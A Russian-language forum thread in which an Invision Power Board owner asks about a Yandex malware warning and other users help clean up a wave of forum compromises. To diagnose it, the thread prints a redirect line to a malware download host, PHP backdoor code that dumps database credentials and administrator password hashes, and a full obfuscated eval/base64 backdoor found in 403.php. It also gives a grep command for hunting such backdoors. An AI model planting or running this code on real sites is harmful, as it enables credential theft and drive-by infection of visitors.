Перейти к содержимому
Русский язык для Invision Community 5

Яндекс обнаружил вредоносный код на форуме

Вопрос такой: на днях Яндекс сообщил мне, что мой сайт заражен вредоносным кодом.

 

Я полез в Яндекс.Вебмастер, который мне сообщал, что вердикт мне вынесен "Поведенческий анализ"

А именно:

 

Поведенческий анализ

 

Антивирусный робот Яндекса при проверке страниц анализирует поведение JavaScript-кода и других активных элементов. Если поведение совпадает с эвристическими правилами, характерными для drive-by-download атак, например, детектор вредоносных Java апплетов или детектор вредоносных PDF документов обнаруживают попытку эксплуатации уязвимости для выполнения вредоносного кода, то принимается решение о том, что проверяемая страница является опасной для посетителей.

 

Я, если честно, так и не понял что с этим делать и что и где искать. По всем остальным вердиктам хоть что-то понятно.

 

Написал вопрос в саппорт, ответ был следующим:

 

На Вашем сайте с помощью url: sport-horse.pro/index.php?ipbv=e13484a4543e54a53b72269a15c16faa&g=js периодически подгружается следующее вредоносное содержимое:

document.location='http://filestore321.com/download.php?id=6de46215' 

 

Действительно такая похожая ссылка на страницах форума встречается, но аналогичные ссылки есть в кодах страниц на других форумах.

В общем я в тупике и не понимаю в какую сторону мне рыть.

 

Делаю полный бекап форума на локалку и мыслю проверить какими-то антивирусами.

Попробовал прогнать сайт по известным мне онлайн-проверяльщикам - никто ничего не нашел.

 

Может кто-то направить добрым советом в нужную сторону? Был бы крайне признателен за помощь.

Рекомендованные сообщения

Не могу понять, что происходит с форумом , Яша его заблокировал, лицензия - все патчи стоят, вирусов я не обнаружил, и на протяжении недели то разблокирует то заблокирует.

Результат выборочной проверки выпадают разные страницы.

 

Ссылка на зараженную страницу.

 

Айболита запустил, ждём.

По логам одного форума, через бэкдор пытались выполнить такой код (интересные места):

 

Вывод всей информации о настройках базы данных (пользователь, пароль, префикс) и содержимого htaccess:

 

$out .= "---------------=-=pong1234321=-=--------------------------<br>\n";
$out .= "sql_host: {$INFO['sql_host']}<br>\n";
$out .= "sql_port: {$INFO['sql_port']}<br>\n";
$out .= "sql_database: {$INFO['sql_database']}<br>\n";
$out .= "sql_user: {$INFO['sql_user']}<br>\n";
$out .= "sql_pass: {$INFO['sql_pass']}<br>\n";
$out .= "sql_tbl_prefix: {$INFO['sql_tbl_prefix']}<br>\n";
$out .= "ACP: {$acp}<br>\n";
$out .= "htaccess: {$hta}<br>\n";
$out .= "htpasswd: {$htp}<br>\n";
$out .= "-----------------------------------------<br>\n";

Вывод администраторов (пользователей группы с доступом в АЦ):

 

while($row = mysql_fetch_assoc($res))
{
	$ag = intval($row['g_id']);
	$sql = "SELECT member_id,name,email,member_group_id,members_pass_hash,HEX(members_pass_salt)FROM {$INFO['sql_tbl_prefix']}members WHERE member_group_id={$ag} OR mgroup_others LIKE '%,{$ag},%' OR mgroup_others='{$ag}' OR mgroup_others LIKE '{$ag},%' OR mgroup_others LIKE '%,{$ag}' ORDER BY member_id ASC";

	$res2 = mysql_query($sql);
	if(!$res2)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row2 = mysql_fetch_assoc($res2))
	{
		$data = implode("|:|", $row2);
		$data = htmlentities($data);
		$out .= "$data<br>\n";
		$names[] = $row2['name'];
	}
}

Логи авторизации в АЦ:

 

foreach($names as $name)
{
	$hname = mysql_hex_encode($name);
	$sql = "SELECT admin_post_details,admin_time FROM {$INFO['sql_tbl_prefix']}admin_login_logs WHERE admin_success=1 AND admin_username=$hname ORDER BY admin_time DESC LIMIT 1";
	$res = mysql_query($sql);
	if(!$res)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row = mysql_fetch_assoc($res))
	{
		$data = implode("|:|", $row);
		$data = htmlentities($data);
		$out .= "{$name}|:|$data<br>\n";
	}
}

 

Логи авторизации видно нужны для того, чтобы расшифровать хеши паролей. По ним можно узнать длину пароля и последний символ.

 

Это еще раз говорит о том, что каждый раз после обнаружения вредоносного кода нужно менять все доступы администраторов на форуме и бд.

Ссылка на зараженную страницу.

Какой вердикт яндекса для этой страницы?

Cайт содержит код, который может быть опасен для посетителей.В результатах поиска сайт выводится с предупреждающей пометкой.

 

Жму поведенческий анализ. - любой заражённой ссылки и попадаю

Нашел айболит вирус, оч долго проверял. (AI-BOLIT-DOUBLECHECK.php)

 

Зараза сидела сайт/forum/public/403.php, и получалась, что все вложенные картинки заражены.

 

<?php $p0="";$p1="artemv_forum";$p2="m54946545";$p3="artemv_forum";$p4='../uploads';$F=__FILE__;
eval(gzinflate(base64_decode("dVVpj6JYFP0rToVpNVZaFheM4yQubIKCiAj29FRYHos89kWhUv99cKorqe7JfIDknXvPPfedkINTRlbhx1FH6yHc8Rnhj/1XRFiE5kteZBBEvQcyR3afEa5FnDjrIf4CnSP+H8iufQ8GLVFaIP7viDBHskWc2Y/Ob4j/vf/3vwe+PUjf22Hv6MLy2hFZf/6WgaLMok6Lz9+cj31Au5D1jASg7r+6MDYN2EHoZyR/RpLR/AcDVAbsuY0fOdAoQE/rmUYOJqMXG1ixDVp+/31AvxVBVEpeYHPf6fl5Dooe8sJQyrduBbK8let+7/dfgeXFnSf1Hek8CH9FT3Nw94v52yeeTB1O1LHl5r7d8r58+Q/0iuSLX8GH8oeBef9PfDzud9q2vDRbtIWesecH9mj7DUnQtpigiy6MLQN6cV505wj0o6Cz6IR1nsIXK44iYLXrJGjrCNY+eH/+XsoBbCsvttkWif4P3STOHyLdEXGxs+7jslrvyXBQ06zowMYZCi0Tes2s/WuRWmy48fZGRA6EdMYuxTMhJqu95o/pS53ZEg1Zk6uhPBb0eEiOM3t8a5cZLeFUU6tZFvi3dMBDQdTljYnnQhCiwzM/vVyZqeVU2OC88u/pmctolU69oShrsEQ9sdqvZWog2se0ckicUtyTEq8O071t3uTaBhyaRlTtWWmJTwHq6k2+DVELnVR1eYxUANOJscGFMTmsjIl4aUgzD5VhIozFqwaLZV1ciigf6rvbYvH0/NlybPz4NgDMwc82Mc7oQHzYxLo+4STcxhIyYsWBs0W6Ia9ywSTWAtMg7jgLtAl1p1Rcr2zdAeUtXpKENfK3Jrrkrs6uWR0I1bP5jerdTcUgCrbG5CYnhj4v6kxM69jhfoizEDphuXUHesMlgKsowp2a6xOljojzdGta68ow2DCf4JIa77VE8C7s9eDfY7ypKj25Ly/yutYFzJTP+PCu+mOWGKJXaonBWnVZWsRClJS33qAci/sTo0SVt2G3pAZpER7IYrWjDZz0Dvjt5I6uHLq7nZ0g2Hq5oYw2dC4JIz0OMG2PC6uaIAMAioZovMEyqCcHerIqxckRP8FiaDkXVdqnGUS5n6xG/9dq8zTdOB9WMzVqaJzNCFuvyK3teBeLkt2oQaO7x7qgK20Lio1F4s51Y9zzhM+g4mZ46OUXBY3xXbK2ZulawtC1zJT13VsXPFod7YgfaK64OokevAVj3WEUcd/wJYWO8FQglkdMZHFtK4HsnFrL2aG5cVsQzdBlpgQ7hcdQZ3vwuR0dUGpZygMN0xtPn4IslMLLmsEL0RV0rxx4xiy0rxcvtLZrm2B34XDNLA1yKOlSJsUS709OHkYz2QYGSerjFzzh5EiOITZwqRN7O18KvjGcRkIzMIAcugGaKpgbT2EsvZ5NeG0j80vdPxHQIW8hALdR6WrOLAPEeV/YBqxEsRwrihKzYiNelotf7CfwD/tf32MiLUFW97p+lIOs6PhREXf8xHyBsev2invR77ThWoK899T9+k7IgAFfQG4ZCXj8CvzI/QjR99T72n3qdz9CyIJx3ibwI7Na2bfOPw==")));

?>

Зараза сидела сайт/forum/public/403.php

Такие примитивные бэкдоры можно искать даже без ай-болита.

 

find . -name '*.php' | xargs grep -inP '(eval|base64_decode|gzinflate)[ ]*\(' > ./result.txt

Та ссш недоступен. По запросу поиск сделали.

Да, попытался запустить скрипт айболит, но что-то он вылетает в 504 Gateway Time-out.

Почитал у них на сайте ФАК, пошел запускать через SSH

 

Запустил, ждем-с 55к файлов...

 

Айболит медленный. И у меня тоже в 504 вываливается.

Есть аналог. fscure он пошустрее.

 

Сегодня столкнулся с этой же проблемой.

Чистка файла /cache/skin_cache/cache_%id/skin_global.php не помогла. Позавчера почистил, сегодня опять то же самое.

 

Накатил патчи на форум, жду.

И не поможет. Прочитайте еще раз сообщения на этой, на предыдущей и на первой странице как правильно надо лечить форум от этой заразы - сто раз было сказано, что удалением кода вы устраняете следствие а не причину. Для эффективного лечения к задаче нужно подходить комплексно.

Та ссш недоступен. По запросу поиск сделали.

Я юзаю такой скрипт. Специально писал для таких случаев, когда нет ssh или нужен быстрый поиск по примитивным бэкдорам типа eval и тп. Быстро, дешево и сердито.

scan.php

Спасибо, сохранил. Какой принцип его работы, я так понимаю он запускается в строке браузера, а дальше. Какой будет вывод заражённых фалов.? нету живого проекта проверить.

А-ля айболит, только без подсветки и прочих плюшек, тупо поиск по файлам и вывода найденной строки.

@kgb, я конечно за ссылок по теме безопасности, но там обсуждается одна политика Content Security нежели уязвимости с которыми столкнулись в IPB, а таких ссылок я могу привести сотнями. К конкретному случаю этой волны взломов ипб СSP ничем не поможет, ибо там отрабатывает локальный жаваскрипт и взлом происходит на уровне php скриптов:

 

print("document.location='http://filestore321.com/download.php?id={$m}'");

Content Security Policy подойдет для xss и всяких партнерских скриптов где могут подгружать все что угодно. Актуальность она получила из-за проблемы с google adwords'ом откуда через внедряемые скрипты в рекламе адсенса сливают трафик - тема уже довольно известная. Но ее еще нужно правильно настроить, да и вообще не грузить скрипты со всяких левых сайтов. У среднестатистического владельца IPB, обычно школьного возраста, целый зоопарк из счетчиков и всяких партнерок, а те чуть ли не в каждый месяц любят менять домен. И либо все это добро отвалится, либо владельцу придется следить за актуальностью политики.

Посмотрел в логах как повляется код в шаблоне.

Вход через админку. Причем явно бот, судя по скорости.

 

Жаль так и не нашел, как реализована сама уязвимость и как вытащен пароль админа.

Создайте аккаунт или войдите в него для комментирования

Важная информация

При использовании данного сайта, вы согласаетесь с Условия использования и Чтобы сделать этот веб-сайт лучше, мы разместили cookies на вашем устройстве. Вы можете изменить свои настройки cookies, в противном случае мы будем считать, что вы согласны с этим..

Аккаунт

Навигация

Поиск

Поиск

Настроить push-уведомления браузера

Chrome (Android)
  1. Нажмите на иконку замка рядом с адресной строкой.
  2. Нажмите Права доступа -> Уведомления.
  3. Измените свои настройки.
Chrome (компьютер)
  1. Нажмите на иконку замка в адресной строке.
  2. Выберите Настройки сайта.
  3. Найдите Уведомления и измените свои настройки.